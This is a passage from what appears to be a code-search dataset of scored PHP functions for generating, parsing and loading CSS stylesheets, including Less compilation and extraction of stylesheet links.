{\n\t\t\t\t\t\tforeach($classCorrelation as $section => $class) {\n\t\t\t\t\t\t\tif($section != 'main') {\n\t\t\t\t\t\t\t\t$sheet .= \"\\t\";\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// make sure we insert the class for each comma...\n\t\t\t\t\t\t\tif(strpos($cssObj->getName(), ',') === false) {\n\t\t\t\t\t\t\t\t$useClass = $cssObj->getName() . $class;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t$useClass = preg_replace('/,\\s*/', $class . ', ', $cssObj->getName()) . $class;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$sheet .= $useClass . ' {' . \"\\n\";\n\n\t\t\t\t\t\t\tforeach($cssVals as $type => $val) {\n\t\t\t\t\t\t\t\tif(strpos($type, $section) === false OR empty($val)) {\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// extract type from type\n\t\t\t\t\t\t\t\t$realType = substr($type, strpos($type, '_') + 1);\n\n\t\t\t\t\t\t\t\t// add extra tab if not main...\n\t\t\t\t\t\t\t\tif($section != 'main') {\n\t\t\t\t\t\t\t\t\t$sheet .= \"\\t\";\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t$sheet .= \"\\t\" . $cssCorrelation[$realType] . ' ' . $val . ';' . \"\\n\";\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// extra?\n\t\t\t\t\t\t\tif($section == 'main' AND !empty($cssVals['extra'])) {\n\t\t\t\t\t\t\t\t$sheet .= \"\\t\" . preg_replace('/\\n/', \"\\t\", $cssVals['extra']) . \"\\n\";\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif($section != 'main') {\n\t\t\t\t\t\t\t\t$sheet .= \"\\t\";\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$sheet .= '}' . \"\\n\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif($advancedCss) {\n\t\t\t\t$cssVals = unserialize($advancedCss->getFragment());\n\t\t\t\tif(!empty($cssVals['extra'])) {\n\t\t\t\t\t$sheet .= \"\\n\\n\" . $cssVals['extra'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// get rid of empty \"select {}\" stuff...\n\t\t\t$sheet = trim(preg_replace('/.+{\\s*}/iU', '', $sheet));\n\n\t\t\t// get rid of huge spacing...\n\t\t\twhile(preg_match('/\\n{3,}/isU', $sheet)) {\n\t\t\t\t$sheet = preg_replace('/\\n{3,}/isU', \"\\n\", $sheet);\n\t\t\t}\n\n\t\t\tfile_put_contents('./css/' . $style->getStyleId() . '.css', $sheet);\n\t\t\t$style->update(Array('css' => $sheet));\n\t\t}\n\t}", "title": "" }, { "docid": "800e33fd60081aad81ab54dc82e0ea8a", "score": "0.5469932", "text": "abstract public function process($css, $cacheid);", "title": "" }, { "docid": "cf2c51dc4b9a22fd369f4452e4558bac", "score": "0.54573065", "text": "public function getCss() \n \t{\n \t$sResult = ''; \n \tif (is_array($this->_aCss))\n \t{\n\t \tforeach($this->_aCss as $sSelector => $aValues) \n\t \t{ \t\t\n\t \t\t$sSelector = trim($sSelector);\n\t \n\t \t\t$sResult .= $sSelector . \" {\\n\";\n\t \t\tforeach($aValues as $sProperty => $sValue) \n\t \t\t{ \t\n\t \t\t\tif (in_array($sProperty, $this->_aRemoveProperties))\n\t \t\t{\n\t \t\t\tcontinue;\n\t \t\t}\n\t \t\t\n\t \t\tif (preg_match('/expression/i', $sValue))\n\t \t\t{\n\t \t\t\tcontinue;\n\t \t\t}\n\t \t\t\n\t \t\t\t$sResult .= $sProperty . \": {$sValue};\\n\";\n\t \t\t}\n\t \t\t$sResult .= \"}\\n\\n\";\n\t \t}\n \t}\n \t\n \treturn $sResult;\n \t}", "title": "" }, { "docid": "f1151912b0dc6e9a1ff3430f09104c30", "score": "0.54502255", "text": "public function p()\n {\n var_dump($this->stylesheet);\n }", "title": "" }, { "docid": "4e8a8a0c48ab1a7977116e9ba0ce8d54", "score": "0.54381436", "text": "protected static function _css()\n {\n }", "title": "" }, { "docid": "081a691604bf65f464b390c39fd3fed0", "score": "0.5411256", "text": "public function cssParser()\n {\n return new CSSContentParser($this->lastContent());\n }", "title": "" }, { "docid": "c5e1c963bac146a947e5a372cb2337e7", "score": "0.5407386", "text": "function css($_data) {\n\t\t\n\t\tforeach ($_data as $css_file) {\n\t\t\t\t\n\t\t\t\t$css_element = $this->head->appendChild($this->dom->createElement('link'));\n\t\t\t\t$css_element->setAttribute('rel','stylesheet');\n\t\t\t\t$css_element->setAttribute('type','text/css');\n\t\t\t\t$css_element->setAttribute('href',$css_file);\n\t\t}\n\t}", "title": "" }, { "docid": "cf6a0040ce953259e9a44ae88969bfba", "score": "0.5387144", "text": "public function css_to_array($css){\n\t\t\n\t\twhile(strpos($css, '/*') !== false){\n\t\t\tif(strpos($css, '*/') === false) return false;\n\t\t\t$start\t= strpos($css, '/*');\n\t\t\t$end\t= strpos($css, '*/') + 2;\n\t\t\t$css\t= str_replace(substr($css, $start, $end - $start), '', $css);\n\t\t}\n\t\t\n\t\t//preg_match_all('/(?ims)([a-z0-9\\s\\.\\:#_\\-@]+)\\{([^\\}]*)\\}/', $css, $arr);\n\t\tpreg_match_all('/(?ims)([a-z0-9\\,\\s\\.\\:#_\\-@]+)\\{([^\\}]*)\\}/', $css, $arr);\n\n\t\t$result = array();\n\t\tforeach($arr[0] as $i => $x){\n\t\t\t$selector = trim($arr[1][$i]);\n\t\t\tif(strpos($selector, '{') !== false || strpos($selector, '}') !== false) return false;\n\t\t\t$rules = explode(';', trim($arr[2][$i]));\n\t\t\t$result[$selector] = array();\n\t\t\tforeach($rules as $strRule){\n\t\t\t\tif(!empty($strRule)){\n\t\t\t\t\t$rule = explode(':', $strRule);\n\t\t\t\t\t//does not work if in css is another { or }\n\t\t\t\t\t//if(strpos($rule[0], '{') !== false || strpos($rule[0], '}') !== false || strpos($rule[1], '{') !== false || strpos($rule[1], '}') !== false) return false;\n\t\t\t\t\t\n\t\t\t\t\t//put back everything but not $rule[0];\n\t\t\t\t\t$key = trim($rule[0]);\n\t\t\t\t\tunset($rule[0]);\n\t\t\t\t\t$values = implode(':', $rule);\n\t\t\t\t\t\n\t\t\t\t\t$result[$selector][trim($key)] = trim(str_replace(\"'\", '\"', $values));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "154293564a8bc9d7481580367ba4348d", "score": "0.5379432", "text": "function BuildCSSPage ($rules = array () ) {\n\t\tglobal $msg, $error;\n\n\t\t$DEBUG = 0;\n\n\t\tif (!$rules)\n\t\t\t$rules = $this->rules;\n\n\t\t$css = \"\";\n\t\t$css .= \"/*\\nFP Theme Variation CSS Page\\nID : {$this->themeID}\\nModified : \".date(\"F j, Y, g:i a\") . \"\\n*/\\n\\n\";\n\n\t\tforeach ($rules as $rule) {\n\t\t\t$name = trim($rule['selector']);\n\t\t\t$property = trim($rule['declaration']['property']);\n\t\t\t$value = trim($rule['declaration']['value']);\n\t\t\t$description = trim($rule['description']);\n\t\t\t$title = trim($rule['title']);\n\n\t\t\t// If no title, move to the \"Other\" or \"advanced\" section\n\t\t\t$title || $title = \"ADVANCED \";\n\t\t\t$description || $description = \"$property definition for $name\";\n\n\t\t\t$r = \"\";\n\t\t\t// Descriptions are of the format, \"title : description\". The \":' is important.\n\t\t\t$r .= \"/* $title : $description */\\n\";\n\t\t\t$r .= \"$name { $property : $value; }\";\n\t\t\t// later created versions of the property overwrite,\n\t\t\t// so we don't have two \"size\" properties, for example\n\t\t\t$list[$name.'@'.$property] = $r;\n\t\t\t\n\t\t\t// IF we have a :link, we must create a matching :visited\n\t\t\t$propertyVisited = str_replace (\":link\", \":visited\", $property);\n\t\t\tif ( $propertyVisited != $property ) {\n\t\t\t\t// If no title, move to the \"Other\" or \"advanced\" section\n\t\t\t\t$description = \"$property definition for $name\";\n\t\t\t\t$r = \"\";\n\t\t\t\t$r .= \"/* $title : $description *\".\"/\\n\";\n\t\t\t\t$r .= \"$name { $propertyVisited : $value; }\\n\\n\";\n\t\t\t\t$list[$name.'@'.$property] = $r;\n\t\t\t}\n\n\t\t\t$DEBUG && $msg .= __FUNCTION__.\": \".str_replace(\"\\n\",'<br>',$r).\"<hr>\";\n\t\t\t$DEBUG && fp_error_log(__FUNCTION__.\": $property\", 3, FP_ACTIVITY_LOG);\n\t\t\t//$DEBUG && fp_error_log(__FUNCTION__.\": \".print_r($rules,true), 3, FP_ACTIVITY_LOG);\n\t\t}\n\t\t$css = join(\"\\n\\n\",$list);\n\t\t$this->css = $css;\n\t}", "title": "" }, { "docid": "1a78cb874ec3c843e0b4a168e2ba15f5", "score": "0.52975655", "text": "protected function extractVariables()\n {\n $properties = array('color', 'font-family');\n foreach ($properties as $property) {\n $this->variables[$property] = array();\n }\n\n foreach ($this->tokens as $token) {\n if ($token instanceof \\CssRulesetDeclarationToken && in_array($token->Property, $properties)) {\n if (!array_key_exists($token->Value, $this->variables[$token->Property])) {\n $this->variables[$token->Property][$token->Value] = $token->Property . '_' . (count($this->variables[$token->Property]) + 1);\n\n }\n $token->Value = '$' . $this->variables[$token->Property][$token->Value];\n }\n }\n }", "title": "" }, { "docid": "bb07e8dfdb212f4ab32e12d13f54bac1", "score": "0.5296298", "text": "public function get_styles() {\n\t\treturn $this->_stylesheets;\n\t}", "title": "" }, { "docid": "5462dded27ca1b19f71e26ae1d8a2494", "score": "0.5244627", "text": "public function extractStylesheets(DOMNode $node = null, $base = \"\")\n\t{\n\t\tif(null === $node) {\n\t\t\t$node = $this->_dom;\n\t\t}\n\t\t$stylesheets = array();\n\t\t\n\t\tif(strtolower($node->nodeName) === \"style\") {\n\t\t\t$stylesheets[] = $node->nodeValue;\n\t\t\t$node->parentNode->removeChild($node);\n\t\t}\n\t\telse if(strtolower($node->nodeName) === \"link\") {\n\t\t\tif($node->hasAttribute(\"href\")) {\n\t\t\t\t$href = $node->getAttribute(\"href\");\n\t\t\t\tif($base && false === strpos($href, \"://\")) {\n\t\t\t\t\t$href = \"{$base}/{$href}\";\n\t\t\t\t}\n\t\t\t\t$ext = @file_get_contents($href);\n\t\t\t\tif($ext) {\n\t\t\t\t\t$stylesheets[] = $ext;\n\t\t\t\t\t$node->parentNode->removeChild($node);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\t\n\t\tif($node->hasChildNodes()) {\n\t\t\tforeach($node->childNodes as $child) {\n\t\t\t\t$stylesheets = array_merge($stylesheets,\n\t\t\t\t\t$this->extractStylesheets($child, $base));\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $stylesheets;\n\t}", "title": "" }, { "docid": "a6410a8b5442d107381a48035251a212", "score": "0.5242217", "text": "public function parseCss($sCss) \n \t{ \n \t$sCss = preg_replace('/<(.*?)>(.*?)<\\/(.*?)>/i', '', $sCss);\n \t$sCss = strip_tags($sCss);\n \t$sCss = preg_replace(\"/\\/\\*(.*)?\\*\\//Usi\", \"\", $sCss);\n\n \t$aParts = explode(\"}\",$sCss);\n \tif(count($aParts) > 0) \n \t{\n \t\tforeach($aParts as $sPart) \n \t\t{\n \t\t\t$sPart = trim($sPart);\n \t\t\tif (empty($sPart))\n \t\t\t{\n \t\t\t\tcontinue;\n \t\t\t}\n \t\t\n \t\t\tlist($aKeystr, $sCodeStr) = explode('{',$sPart);\n \t\t$aKeystr = trim($aKeystr);\n \t\tif (empty($aKeystr))\n \t\t{\n \t\t\tcontinue;\n \t\t}\n \t\t\n \t\t$aKeys = explode(',', $aKeystr);\n \t\tif(count($aKeys) > 0) \n \t\t{\n \t\t\tforeach($aKeys as $sKey) \n \t\t\t{\n \t\t\tif(strlen($sKey) > 0) \n \t\t\t{\n \t\t\t\t$sKey = str_replace(\"\\n\", \"\", $sKey);\n \t\t\t\t$sKey = str_replace(\"\\\\\", \"\", $sKey);\n \t\t\t\t\n \t\t\t\t$this->addCss($sKey, trim($sCodeStr));\n \t\t\t}\n \t\t\t}\n \t\t}\n \t\t}\n \t} \n \t}", "title": "" }, { "docid": "7d1a9691aa97da1095b58de7c45f8a96", "score": "0.52413636", "text": "function css()\n{\n\t$stylesheets = Current::$request->getInfo('css');\n\t\n\tif ( is_array($stylesheets) )\n\t{\n\t\tforeach ( $stylesheets as $stylesheet )\n\t\t{\n\t\t\tprintf('<link rel=\"stylesheet\" type=\"text/css\" media=\"all\" href=\"%s\" />', $stylesheet);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f6149fcf786f56760acdf39235ebc995", "score": "0.5228221", "text": "public static function output($markup) {\n $css_array = [];\n $page_markup = phpQuery::newDocumentHTML($markup, $charset = 'utf-8');\n $css = pq(\"link[rel='stylesheet']\", $page_markup);\n\n foreach ($css as $css_item) {\n if (!empty(pq($css_item)->attr(\"href\"))) {\n $css_array[] = pq($css_item)->attr(\"href\");\n }\n }\n\n return array_merge(array_unique($css_array), array());\n }", "title": "" }, { "docid": "8b66b689a14b7d8f1e2b0bdd84f5644e", "score": "0.52197427", "text": "public static function extract($css, $merge = true)\n\t{\n\t\t$css = self::trimComments($css);\n\n\t\t$pattern = '/^([\\.#\\w][^\\{]+)[^\\{]*\\{([^\\}]+)+\\}/ms';\n\t\t$match = [];\n\n\t\tpreg_match_all($pattern, $css, $match);\n\n\t\t$all_rules = [];\n\t\tforeach ($match[1] as $index => $selector) {\n\t\t\t// shortcut naming\n\t\t\t$rule_block = $match[2][$index];\n\n\t\t\t// separate selectors by comma and trim them\n\t\t\t$selectors = self::separateAndTrim($selector, ',');\n\n\t\t\t// separate rules by semicolon and trim them\n\t\t\t$rules = self::separateAndTrim($rule_block, ';');\n\n\t\t\t// If no rules left skip\n\t\t\tif (empty($rules)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// explode rules into key => value\n\t\t\t$separed_rules = self::explodeRules($rules);\n\t\t\t\n\t\t\t$all_rules[] = [\n\t\t\t\t'selectors' => $selectors,\n\t\t\t\t'rules' => $separed_rules\n\t\t\t];\n }\n \n // do we need to merge all rules into selectors?\n if ($merge) {\n // echo '<pre>';print_r($css_rules);exit;\n\n $selectors = [];\n\n foreach ($all_rules as $rule) {\n foreach ($rule['selectors'] as $selector) {\n if (!isset($selectors[$selector])) {\n $selectors[$selector] = [];\n }\n $selectors[$selector] = array_merge($selectors[$selector], $rule['rules']);\n }\n }\n\n return $selectors;\n }\n\n\t\treturn $all_rules;\n }", "title": "" }, { "docid": "16da74fdec875535335c7b959e5ba25a", "score": "0.5210192", "text": "function OpenDoc_StylesFeed(&$Styles, $Txt) {\r\n\t\t$p = 0;\r\n\t\twhile ($loc = clsTbsXmlLoc::FindElement($Txt, 'style:style', $p)) {\r\n\t\t\tunset($o);\r\n\t\t\t$o = (object) null;\r\n\t\t\t$o->name = $loc->GetAttLazy('style:name');\r\n\t\t\t$o->parentName = $loc->GetAttLazy('style:parent-style-name');\r\n\t\t\t$o->childs = array();\r\n\t\t\t$o->pbreak = false;\r\n\t\t\t$o->ctrl = false;\r\n\t\t\t$src = $loc->GetSrc();\r\n\t\t\tif (strpos($src, ' fo:break-before=\"page\"')!==false) $o->pbreak = 'before';\r\n\t\t\tif (strpos($src, ' fo:break-after=\"page\"')!==false) $o->pbreak = 'after';\r\n\t\t\tif ($o->name!==false) $Styles[$o->name] = $o;\r\n\t\t\t$p = $loc->PosEnd;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "8ced0366c1faaf0e5f565f761b189ea1", "score": "0.5204191", "text": "function dynamic_css(){\n\t\t\n\t}", "title": "" }, { "docid": "540fea099752c52f7d5929a113e929e2", "score": "0.5199458", "text": "private function processInlineCss() {\n\n\t\t$inlineCssNodes = $this->DOMXpath->query('//*[@style]');\n\n\t\tforeach ($inlineCssNodes as $inlineCssNode) {\n\n\t\t\t$oldInlineCss = $inlineCssNode->getAttribute('style');\n\n\t\t\t$newInlineCss = $this->processCssContent($oldInlineCss, './', $this->url);\n\n\t\t\t$inlineCssNode->setAttribute('style', $newInlineCss);\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "43d7597ecda322efd9e09c1466d0ec79", "score": "0.5196778", "text": "function determine_styles_to_include(){\r\n\t\t\t$styleSchedule = $this->read_schedule('current');\r\n\t\t\t\r\n\t\t\tforeach($styleSchedule as $style)\r\n\t\t\t{\r\n\t\t\t\tarray_push($this->cssFilesToInclude, $style->cssFile);\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "624ef4380095df07203fbbacd89a2178", "score": "0.5186913", "text": "public static function getStylesheets()\n {\n return self::$_css;\n }", "title": "" }, { "docid": "b80a6eef2b76516986fc26fcfebf7dee", "score": "0.51788634", "text": "function extractCssUrls($text)\n {\n $urls = array();\n\n $url_pattern = '(([^\\\\\\\\\\'\", \\(\\)]*(\\\\\\\\.)?)+)';\n $urlfunc_pattern = 'url\\(\\s*[\\'\"]?' . $url_pattern . '[\\'\"]?\\s*\\)';\n $pattern = '/(' .\n '(@import\\s*[\\'\"]' . $url_pattern . '[\\'\"])' .\n '|(@import\\s*' . $urlfunc_pattern . ')' .\n '|(' . $urlfunc_pattern . ')' . ')/iu';\n\n if (!preg_match_all($pattern, $text, $matches)) {\n return $urls;\n }\n\n // @import '...'\n // @import \"...\"\n foreach ($matches[3] as $match) {\n if (!empty($match)) {\n $urls['import'][] = preg_replace('/\\\\\\\\(.)/u', '\\\\1', $match);\n }\n }\n\n // @import url(...)\n // @import url('...')\n // @import url(\"...\")\n foreach ($matches[7] as $match) {\n if (!empty($match)) {\n $urls['import'][] = preg_replace('/\\\\\\\\(.)/u', '\\\\1', $match);\n }\n }\n\n // url(...)\n // url('...')\n // url(\"...\")\n foreach ($matches[11] as $match) {\n if (!empty($match)) {\n $urls['property'][] = preg_replace('/\\\\\\\\(.)/u', '\\\\1', $match);\n }\n }\n\n return $urls;\n }", "title": "" }, { "docid": "b3e083de7e68dd078438fc5844527d50", "score": "0.5173643", "text": "public function testSuccessfulParsing()\n {\n $xslt = new \\DOMDocument();\n $xslt->load($this->getXSLStylesheetPath(__METHOD__));\n\n $xml = new \\DOMDocument();\n\n $processor = new Processor($xslt, $xml);\n $processor->transformXML();\n\n $expected = [\n 'paragraph-style' => [\n 'font-decoration' => 'underline',\n 'font-size' => '14px',\n ],\n\n 'span-style' => [\n 'font-weight' => 'bold',\n 'font-size' => '1.1em',\n ],\n ];\n\n $this->assertSame($expected, $processor->getGlobalContext()->getAttributeSets()->getArrayCopy());\n }", "title": "" }, { "docid": "a7e2518fad555f64b778e28e10afc28a", "score": "0.5152093", "text": "private function convertStyleBlocks() {\n\n\t\t$styleBlockNodes = $this->DOMXpath->query('//style');\n\n\t\tforeach ($styleBlockNodes as $index => $styleBlockNode) {\n\n\t\t\t$cssFilename = 'style-block-' . sprintf('%02d', $index + 1) . '.css';\n\n\t\t\t$cssHref = './' . $this->settings['cssDirectory'] . '/' . $cssFilename;\n\n\t\t\t$cssFilePath = $this->settings['location'] . '/' . $this->settings['cssDirectory'] . '/' . $cssFilename;\n\n\t\t\t$cssContent = $this->processCssContent($styleBlockNode->nodeValue, '../', $this->url);\n\n\t\t\tfile_put_contents($cssFilePath, $cssContent);\n\n\t\t\t$link = $this->DOMDocument->createElement('link');\n\n\t\t\t$link->setAttribute('rel', 'stylesheet');\n\n\t\t\t$link->setAttribute('media', $styleBlockNode->getAttribute('media'));\n\n\t\t\t$link->setAttribute('href', $cssHref);\n\n\t\t\t$styleBlockNode->parentNode->insertBefore($link, $styleBlockNode);\n\n\t\t\t$styleBlockNode->parentNode->removeChild($styleBlockNode);\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "7ec6baf19f3b1b43f20df9429e080e34", "score": "0.5128018", "text": "public function getCssHrefs();", "title": "" }, { "docid": "16fca4c217bbf767d84991fd95a11f8c", "score": "0.5095496", "text": "public function stylesheets() {\n $config = Config::current();\n\n $stylesheets = array();\n Trigger::current()->filter($stylesheets, \"stylesheets\");\n\n $elements = \"<!-- Styles -->\";\n if (!empty($stylesheets))\n foreach ($stylesheets as $stylesheet)\n $elements.= \"\\n\".'<link rel=\"stylesheet\" href=\"'.$stylesheet.'\" type=\"text/css\" media=\"all\" charset=\"UTF-8\">';\n\n if (!file_exists(THEME_DIR.DIR.\"stylesheets\".DIR) and !file_exists(THEME_DIR.DIR.\"css\".DIR))\n return $elements;\n\n foreach(array_merge((array) glob(THEME_DIR.DIR.\"stylesheets\".DIR.\"*.css\"),\n (array) glob(THEME_DIR.DIR.\"stylesheets\".DIR.\"*.css.php\"),\n (array) glob(THEME_DIR.DIR.\"css\".DIR.\"*.css\"),\n (array) glob(THEME_DIR.DIR.\"css\".DIR.\"*.css.php\")) as $file) {\n\n $path = preg_replace(\"/(.+)\".preg_quote(DIR, \"/\").\"themes\".preg_quote(DIR, \"/\").\"(.+)/\", \"/themes/\\\\2\", $file);\n $file = basename($file);\n\n if (!$file or substr_count($file, \".inc.css\"))\n continue;\n\n $name = substr($file, 0, strpos($file, \".\"));\n switch ($name) {\n case \"print\":\n $media = \"print\";\n break;\n case \"screen\":\n $media = \"screen\";\n break;\n case \"speech\":\n $media = \"speech\";\n break;\n default:\n $media = \"all\";\n break;\n }\n\n $elements.= \"\\n\".'<link rel=\"stylesheet\" href=\"'.$config->chyrp_url.$path.'\" type=\"text/css\" media=\"'.$media.'\">';\n }\n\n return $elements;\n }", "title": "" }, { "docid": "a48d76ab975002e04a6d37337dc55362", "score": "0.50734884", "text": "private function getStyleProperties(): ?Css\\Properties {\n if (isset($this->_query[0])) {\n $node = $this->_query[0];\n if ($node instanceof \\DOMElement) {\n return new Css\\Properties($node->getAttribute('style'));\n }\n }\n return NULL;\n }", "title": "" }, { "docid": "c321308f37a40ed07ae81f7ddbc56d83", "score": "0.5070775", "text": "public function getCss(){\n\n\t\t$precision = ini_get('precision');\n\t\t@ini_set('precision',16);\n\t\t$locale = setlocale(LC_NUMERIC, 0);\n\t\tsetlocale(LC_NUMERIC, \"C\");\n\n\n \t\t$root = new Less_Tree_Ruleset(array(), $this->rules );\n\t\t$root->root = true;\n\t\t$root->firstRoot = true;\n\n\n\t\t$this->PreVisitors($root);\n\n\t\tself::$has_extends = false;\n\t\t$evaldRoot = $root->compile($this->env);\n\n\n\n\t\t$this->PostVisitors($evaldRoot);\n\n\t\tif( Less_Parser::$options['sourceMap'] ){\n\t\t\t$generator = new Less_SourceMap_Generator($evaldRoot, Less_Parser::$contentsMap, Less_Parser::$options );\n\t\t\t// will also save file\n\t\t\t// FIXME: should happen somewhere else?\n\t\t\t$css = $generator->generateCSS();\n\t\t}else{\n\t\t\t$css = $evaldRoot->toCSS();\n\t\t}\n\n\t\tif( Less_Parser::$options['compress'] ){\n\t\t\t$css = preg_replace('/(^(\\s)+)|((\\s)+$)/', '', $css);\n\t\t}\n\n\t\t//reset php settings\n\t\t@ini_set('precision',$precision);\n\t\tsetlocale(LC_NUMERIC, $locale);\n\n\t\treturn $css;\n\t}", "title": "" }, { "docid": "6bc2d94a1e57959e6526502f1ea5d47d", "score": "0.5048147", "text": "function getCSS()\n\t{\n\t\treturn $this->css;\n\t}", "title": "" }, { "docid": "c9f228a94009a76f96f89fed02cda006", "score": "0.50128675", "text": "public function getCSSDom()\n\t{\n\t\treturn $this->getItemDom($this->css, '<link rel=\"stylesheet\" type=\"text/css\" href=\"?\">');\n\t}", "title": "" }, { "docid": "8d372ac39b625f2eefa0f27de0f19fc1", "score": "0.50105524", "text": "public function parse($content, StylesheetConstraint $stylesheetConstraint = null)\n {\n if($stylesheetConstraint !== null)\n {\n $this->setStylesheetConstraint($stylesheetConstraint);\n }\n\n $pageCollection = parent::parse($content);\n \n $this->fireOnEndParsing($pageCollection);\n\n $this->initialize();\n\n return $pageCollection;\n }", "title": "" }, { "docid": "4667cad3016be81f77ef5cb2fcd68837", "score": "0.50099236", "text": "public function extract(Document $css, HtmlStatistics $statistics)\n {\n $selectorPattern = $this->createSelectorPattern($statistics);\n $this->filter($css, $selectorPattern);\n }", "title": "" }, { "docid": "812c997817fc0ac5b70e6a88055ea922", "score": "0.5003555", "text": "function getAllStylesheets(){\n $rtn = '';\n foreach($this->aStylesheets as $path){\n if(strtolower(substr($path,0,4)) == 'http'){ $rtn .= $this->_stylesheetHTML($path); }\n else{ $rtn .= $this->_stylesheetHTML($this->getShopURL() . ltrim($path,'./')); } // trim both slashes and dots just in case someone tries to give a relative path beginning with './'\n }\n return $rtn;\n }", "title": "" }, { "docid": "98e43e505ad1e27955a1bcf3aa9c71a3", "score": "0.49999017", "text": "public function load_css()\n {\n foreach ($this->styles as $style) {\n echo '<link rel=\"stylesheet\" href=\"' . $style . '.css\" />'.\"\\n\";\n }\n }", "title": "" }, { "docid": "c3c41cb1e431dcc616cc5860a899825f", "score": "0.4966612", "text": "function parseCSS(&$data, &$html, $infile_only = false)\n\t{\n\t\t$jname = $this->getJname();\n\n\t\tif (empty($jname)) {\n\t\t\t$jname = Factory::getApplication()->input->get('Itemid');\n\t\t}\n\n\t\t$sourcepath = $data->css->sourcepath . $jname . DIRECTORY_SEPARATOR;\n\t\t$urlpath = $data->css->url . $jname . '/';\n\n\t\tFolder::create($sourcepath . 'infile');\n\t\tif (!$infile_only) {\n\t\t\t//Outputs: apearpearle pear\n\t\t\tif ($data->parse_css) {\n\t\t\t\tif (preg_match_all('#<link(.*?type=[\\'|\"]text\\/css[\\'|\"][^>]*)>#Si', $html, $css)) {\n\t\t\t\t\tforeach ($css[1] as $values) {\n\t\t\t\t\t\tif(preg_match('#href=[\\'|\"](.*?)[\\'|\"]#Si', $values, $cssUrl)) {\n\t\t\t\t\t\t\t$cssUrlRaw = $cssUrl[1];\n\n\t\t\t\t\t\t\tif (strpos($cssUrlRaw, '/') === 0) {\n\t\t\t\t\t\t\t\t$uri = new Uri($data->integratedURL);\n\n\t\t\t\t\t\t\t\t$cssUrlRaw = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')) . $cssUrlRaw;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$filename = $this->cssCacheName(urldecode(htmlspecialchars_decode($cssUrl[1])));\n\t\t\t\t\t\t\t$filenamesource = $sourcepath . $filename;\n\n\t\t\t\t\t\t\tif (!is_file(Path::clean($filenamesource))) {\n\t\t\t\t\t\t\t\t$cssparser = new Css('#jfusionframeless');\n\t\t\t\t\t\t\t\t$result = $cssparser->ParseUrl($cssUrlRaw);\n\t\t\t\t\t\t\t\tif ($result !== false) {\n\t\t\t\t\t\t\t\t\t$content = $cssparser->GetCSS();\n\t\t\t\t\t\t\t\t\tFile::write($filenamesource, $content);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (is_file(Path::clean($filenamesource))) {\n\t\t\t\t\t\t\t\t$html = str_replace($cssUrlRaw, $urlpath . $filename, $html);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ($data->parse_infile_css) {\n\t\t\tif (preg_match_all('#<style.*?type=[\\'|\"]text/css[\\'|\"].*?>(.*?)</style>#Sims', $html, $css)) {\n\t\t\t\tforeach ($css[1] as $key => $values) {\n\t\t\t\t\t$filename = md5($values) . '.css';\n\t\t\t\t\t$filenamesource = $sourcepath . 'infile' . DIRECTORY_SEPARATOR . $filename;\n\n\t\t\t\t\tif (preg_match('#media=[\\'|\"](.*?)[\\'|\"]#Si', $css[0][$key], $cssMedia)) {\n\t\t\t\t\t\t$cssMedia = $cssMedia[1];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$cssMedia = '';\n\t\t\t\t\t}\n\n\t\t\t\t\tif (!is_file(Path::clean($filenamesource))) {\n\t\t\t\t\t\t$cssparser = new Css('#jfusionframeless');\n\t\t\t\t\t\t$cssparser->setUrl($data->integratedURL);\n\t\t\t\t\t\t$cssparser->ParseStr($values);\n\t\t\t\t\t\t$content = $cssparser->GetCSS();\n\t\t\t\t\t\tFile::write($filenamesource, $content);\n\t\t\t\t\t}\n\t\t\t\t\tif (is_file(Path::clean($filenamesource))) {\n\t\t\t\t\t\t$data->css->files[] = $urlpath . 'infile/' . $filename;\n\t\t\t\t\t\t$data->css->media[] = $cssMedia;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$html = preg_replace('#<style.*?type=[\\'|\"]text/css[\\'|\"].*?>(.*?)</style>#Sims', '', $html);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "b8d1fc4c53646aa41121156102625637", "score": "0.49613905", "text": "public function genCSS($output){}", "title": "" }, { "docid": "a5ee24a6948aa658f95c543146c978cd", "score": "0.49558616", "text": "public function parse(){\n\t\t// Preprocess the code and get the indention char(s)\n\t\t$this->preprocess();\n\t\t$this->set_indention_char();\n\t\t// Loop through the lines\n\t\t$loc = count($this->code);\n\t\tfor($i = 0; $i < $loc; $i++){\n\t\t\t$debug = array();\n\t\t\t$this->token = '';\n\t\t\t$line = $this->code[$i];\n\t\t\t$level = $this->get_indention_level($line); // Get this line's indention level\n\t\t\t$debug['line'] = $line;\n\t\t\tif(isset($this->code[$i + 1])){\n\t\t\t\t$nextline = $this->code[$i + 1];\n\t\t\t\t$nextlevel = $this->get_indention_level($nextline); // Get the next line's indention level\n\t\t\t}\n\t\t\t// If the current line is empty, ignore it and reset the selector stack\n\t\t\tif($line == ''){\n\t\t\t\t$this->selector_stack = array();\n\t\t\t\t$debug['type'] = 'Reset';\n\t\t\t\t$debug['stack'] 